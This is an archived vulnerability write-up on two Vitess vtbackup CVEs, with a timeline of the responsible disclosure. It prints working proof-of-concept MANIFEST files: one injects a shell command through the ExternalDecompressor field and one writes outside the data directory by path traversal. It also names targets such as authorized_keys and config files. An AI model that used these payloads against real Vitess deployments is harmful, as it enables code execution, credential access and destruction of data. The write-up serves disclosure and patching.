

RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields

RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields -

Alex Manson, neurowinter.

- Published: 2026-05-18
- Original: <<https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/>>
- Preserved from: <https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

..

18-05-2026

RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields

TLDR:

- Two CVEs in Vitess. Both come from the backup `MANIFEST` file being trusted at restore time.
- **CVE-2026-27965** ([GHSA-8g8j-r87h-p36x](#))
- CVSS 8.4, CWE-78. The `ExternalDecompressor` field is run through `/bin/sh -c`. RCE as the `vitess` user.
- **CVE-2026-27969** ([GHSA-r492-hjgh-c9gw](#))
- CVSS 9.3, CWE-22. `FileEntries[].Name` path traversal. Write to any path the `vitess` user can write.
- **Affected:** v22.0.3 and older, v23.0.0-v23.0.2.
- **Patched:** v22.0.4, v23.0.3.
- Quick workaround for the RCE only: set `--external-decompressor=cat` (or any other harmless command) on `vttablet / vtbackup`. The flag overrides the manifest. No

equivalent for the path traversal — upgrade.

Background

I started looking into how vitess was doing backups as I was recently looking into the differences between WAL and xlogs etc in postgres and mysql. I was interested in the boundary that backups cross, from production data, config files, and then cold storage, and finally how these backups are used in DR.

A Vitess backup is a directory containing a JSON `MANIFEST` and the data files it references. Restore reads the manifest, copies the data files out, and optionally decompresses them.

A normal one looks like this:

```
{
  "BackupMethod": "builtin",
  "CompressionEngine": "external",
  "ExternalDecompressor": "zstd -d",
  "FileEntries": [{ "Base": "Data", "Name": "backup.sql.gz.external", "Hash": "..."}],
  "Keyspace": "test",
  "Shard": "0",
  "SkipCompress": false
}
```

Two fields end up being the bugs:

- `ExternalDecompressor`, a shell command.
- `FileEntries[].Name`, a relative path.

Both get read from the manifest and used directly. If you can write to backup storage, you can edit them.

The thing here is that backup storage looks like passive data. The `MANIFEST` is not. It is restore time control plane input - it picks commands, paths, compression behaviour, and file layout, it's a config file. If the backup store is writable by anything other than fully trusted restore operators, the manifest is an execution surface.

CVE-2026-27965: RCE via ExternalDecompressor

From `go/vt/mysqlctl/compression.go`:

```
cmdArgs := []string{"-c", cmdStr}
cmd := exec.CommandContext(ctx, "/bin/sh", cmdArgs...)
```

`cmdStr` is the manifest field, verbatim. No allowlist, no validation.

PoC manifest:

```
{
  "BackupMethod": "builtin",
  "CompressionEngine": "external",
  "ExternalDecompressor": "/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'",
  "FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":""}],
  "Keyspace": "test",
  "Shard": "0",
  "SkipCompress": false
}
```

Run `vtbackup` against it:

```
vitess@d438d03b8595:/$ /vt/bin/vtbackup \
--backup-storage-implementation=file \
--file-backup-storage-root=/vt/backups \
--init-keyspace=test --init-shard=0 \
--topo-implementation=etcd2 \
--topo-global-server-address=etcd:2379 \
--topo-global-root=/vitess/global

... "msg":"Decompressing using external command: \"/bin/sh -c 'id > /tmp/PWNED; echo
VITESS_RCE >> /tmp/PWNED'\\"

vitess@d438d03b8595:/$ cat /tmp/PWNED
uid=999(vitess) gid=999(vitess) groups=999(vitess)
VITESS_RCE
```

Code is executed as the `vitess` user, inside the tablet/container context. Depending on the deployment that means access to database files, MySQL credentials, topology-server connectivity, and the network the tablet sits on. The backup routine has access to SO much. Multiple tablets restoring from the same backup store means one poisoned manifest fans out across the cluster as new replicas come up.

The restore itself fails on a hash mismatch, but the decompressor runs *before* the hash check. And the engine retries failed file restores, so the command runs twice per attempt.

The thing worth flagging: I had no `--external-decompressor` flag set. No `--compression-engine-name=external`, no compression flags at all. Default compression engine is `pargzip`. The restore engine consults the flag first; if it is empty it falls back to whatever is in the manifest. The manifest sets `CompressionEngine: "external"` and that is enough.

Default Vitess is exposed. The operator does not have to know external compressors exist — the manifest names one and the code follows.

The fix in [PR #19460](#) makes the manifest fallback opt-in via `--external-decompressor-allow-manifest`. Default is to ignore the field.

CVE-2026-27969: Path traversal via FileEntries[].Name

The restore engine joins `FileEntries[i].Name` onto the destination data dir with no normalisation.

PoC manifest:

```
{
  "BackupMethod": "builtin",
  "CompressionEngine": "",
  "SkipCompress": true,
  "FileEntries": [{
    "Base": "Data",
    "Name": "../../../tmp/OhNo.txt",
    "Hash": ""
  }],
  "Keyspace": "test",
  "Shard": "0"
}
```

Same `vtbackup` invocation:

```
vitess@6d4bc6844b03:/$ ls /tmp/
OhNo.txt
```

`/tmp/OhNo.txt` exists, outside the data directory, written wherever the `vitess` user can write. Empty contents — I did not bother computing the right hash for the source, but in theory I could have and then there might be no error. I guess I was just being lazy, and excited with what I had already found :P

`go/os2/file.go`:

```
func Create(name string) (*os.File, error) {
    return OpenFile(name, os.O_RDWR|os.O_CREATE|os.O_TRUNC, PermFile)
}
```

`O_TRUNC` happens before the hash check. So even with a wrong hash, the target file gets created and truncated to zero bytes. Point a malicious manifest at every config or auth file you can guess and the box is bricked. With the right hash you get full write —

`~/.ssh/authorized_keys` for the `vitess` user being a killer target, or any other fun files.

No flag based workaround for this one. The fix in [PR #19470](#) clamps the destination to the data directory. Upgrade.

Both bugs, one file

Both bugs sit at the same boundary: `MANIFEST` fields treated as trusted at restore time. Once a string from that file reaches `exec.Command` or a path join, the rest is mechanics.

Timeline

- 20 Feb 2026: Reported RCE to `[[email protected]](https://neurowinter.com/cdn-cgi/l/email-protection)`.
- 23 Feb 2026: Triage started.
- 24 Feb 2026: Fix for RCE drafted. Reported path traversal
- 25 Feb 2026: Public bug [#19459](#) opened. RCE advisory drafted.
- 26 Feb 2026: Path traversal advisory drafted. CVSS and CWE finalised.
- 27 Feb 2026: Both advisories published. v22.0.4 and v23.0.3 released.

7 days from initial email to two published advisories with backports to v22 and v23. Fast turnaround for a CNCF project — the Vitess maintainers deserve credit for it.

Appendix A: Resources

- [GHSA-8g8j-r87h-p36x](#): Vitess remote code execution via untrusted `ExternalDecompress` or
 - [GHSA-r492-hjgh-c9gw](#): Vitess arbitrary file write via path traversal in backup `MANIFEST`
 - [PR #19460](#): Do not trust manifest-supplied external decompressor by default
 - [PR #19470](#): Clamp restore file paths to the destination data directory
 - [Vitess backup and restore documentation](#)
-

Archived from <https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/>. Rendered offline from the local Markdown copy.